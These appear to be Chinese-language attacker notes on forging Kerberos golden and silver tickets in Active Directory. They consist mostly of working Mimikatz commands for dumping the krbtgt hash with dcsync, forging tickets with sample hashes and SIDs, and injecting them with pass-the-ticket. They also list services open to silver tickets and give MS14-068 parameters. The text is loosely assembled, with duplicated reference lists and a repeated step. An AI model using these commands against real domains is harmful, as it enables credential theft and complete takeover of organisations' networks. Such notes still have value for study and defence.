黄金票据
黄金票据的条件要求:
1.域名称[AD PowerShell模块:(Get-ADDomain).DNSRoot]
2.域的SID 值[AD PowerShell模块:(Get-ADDomain).DomainSID.Value]
3.域的KRBTGT账户NTLM密码哈希
4.伪造用户名
一旦攻击者拥有管理员访问域控制器的权限,就可以使用Mimikatz来提取KRBTGT帐户密码哈希值。
1.导出krbtgt的Hash
在域控上执行通过mimkatz输出:
mimikatz log "lsadump::dcsync /domain:test.local /user:krbtgt"
生成票据 这里可以用aes256 aes128等等
kerberos::golden /admin:Administrator /domain:CTU.DOMAIN /sid:S-1-1-12-123456789-1234567890-123456789 /krbtgt:deadbeefboobbabe003133700009999 /ticket:Administrator.kiribi
导入票据
kerberos::ptt ppc.kiribi
klist
klist purge 删除所有票据
mimikatz # kerberos::purge //清空当前凭证 mimikatz # kerberos::list //查看当前机器凭证 mimikatz # kerberos::ptc 票据文件 //将上一步生成的票据注入到内存中
第二种黄金票据
Hash NTLM: b93dba67240e8236cf1ab028034779e2
aes256_hmac:5c54f6b6d3d4ac4958cf5e04969e60700b69d2285c65ee4e2810e808f4febacckrbtgt
net group "domain admins" /domain
查看域的SID号
whoami /all
kerberos::purge #清空票据 kerberos::golden /admin:administrator /domain:pp.zhong.czf /sid:S-1-5-21-2461438818-3229013638-4126918765 /krbtgt:b93dba67240e8236cf1ab028034779e2 /ticket:ticket.kirbi kerberos::ptt ticket.kirbi kerberos::tgt(此条命令好像并没有用)
白银票据
kerberos::golden /admin:zhangsanfeng /domain:qianxiao996.com /id:1108 /sid:S-1-5-21-2461438818-3229013638-4126918765-1108 /target:QIANXIAO996-DM.school.com /rc4:b1e99870ac1230e33233fb54f240f171 /service:LDAP /ptt
lsadump::dcsync /dc:QIANXIAO996-DM.qianxiao996.com /domain:qianxiao996.com /user:krbtgt
总结
白银票据不与KDC交互,伪造Ticket直接与server进行交互。我们来看一下windows认证的第六步,server接收到客户端的数据包后,使用自己的密码hash解密ticket得出session key,在使用session key解密Authenticator和timestamp即通过验证,所以我们只需要知道server用户的hash就可以伪造出一个ticket,这就是白银票据。
首先,我们访问一个目标机器的C$文件夹
我们来伪造白银票据,获取目标server用户名
获取NTLM Hash
创建票据命令为:
kerberos::golden /domain: /sid: /target: /service: /rc4: /user: /ptt
白银票据根据用户hash生成,而且只能根据某些服务创建,可利用的服务如下
服务注释服务名
WMIHOST、RPCSS
Powershell RemoteingHOST、HTTP
WinRMHOST、HTTP
Scheduled TasksHOST
LDAP 、DCSyncLDAP
Windows File Share (CIFS)CIFS
Windows Remote ServerAdministration ToolsRPCSS、LDAP、CIFS
生成票据
这时候再访问c$,不需要输入密码
0x04 黄金票据分析及利用
第二步中我们收到了AS发送的TGT,由于TGT是使用krbtgt密码hash加密,客户端无法解密,但是如果我们知道了krbtgt的hash,那么就可以直接生成任意用户的TGT,跳过了第一步的认证并可以访问相应的资源,这就是伪造黄金票据。
域控导出krbtgt NTLM Hash
生成黄金票据
kerberos::golden /user:Administrator /domain:domain-name /sid:user-sid/krbtgt:ntlmhash-value /ticket:golden.ti
在目录下生成了golden.ti票据文件,使用票据
kerberos::ptt golden.ti
这时候生成了一个域管理用户票据,尝试访问其他用户资源,成功,无需验证
MS14068
-u 域账号+@+域名称,这里是ts1+@+yunying.lab
-p 为当前用户的密码,即ts1的密码
-s 为ts1的SID值,可以通过whoami /all来获参考户的SID值
-d 为当前域的域控
清除缓存导入票据
最后
清除票据后
https://www.cnblogs.com/backlion/p/8127868.html
https://blog.csdn.net/qq_36374896/article/details/84453994
https://payloads.online/archivers/2018-11-30/1
https://blog.csdn.net/wy_97/article/details/87649262
https://www.varonis.com/blog/kerberos-attack-silver-ticket/
https://adsecurity.org/?p=2011
https://blog.csdn.net/wy_97/article/details/87649262
https://www.varonis.com/blog/kerberos-attack-silver-ticket/
https://adsecurity.org/?p=2011
https://www.dazhuanlan.com/2019/08/26/5d6304010760d/
特别注意的是sid不是本地管理员的sid是域用户的sid 千万别弄错了 先net user查看域用户的sid 或者切到域用户登陆 whoami /all查看 方可 其他没什么
参考文献
https://www.cnblogs.com/backlion/p/8127868.html
https://blog.csdn.net/qq_36374896/article/details/84453994
https://payloads.online/archivers/2018-11-30/1
https://blog.csdn.net/wy_97/article/details/87649262
https://www.varonis.com/blog/kerberos-attack-silver-ticket/
https://adsecurity.org/?p=2011
https://blog.csdn.net/wy_97/article/details/87649262
https://www.varonis.com/blog/kerberos-attack-silver-ticket/
https://adsecurity.org/?p=2011
https://www.dazhuanlan.com/2019/08/26/5d6304010760d/
1.导出krbtgt的Hash
在域控上执行通过mimkatz输出:
mimikatz log "lsadump::dcsync /domain:test.local /user:krbtgt"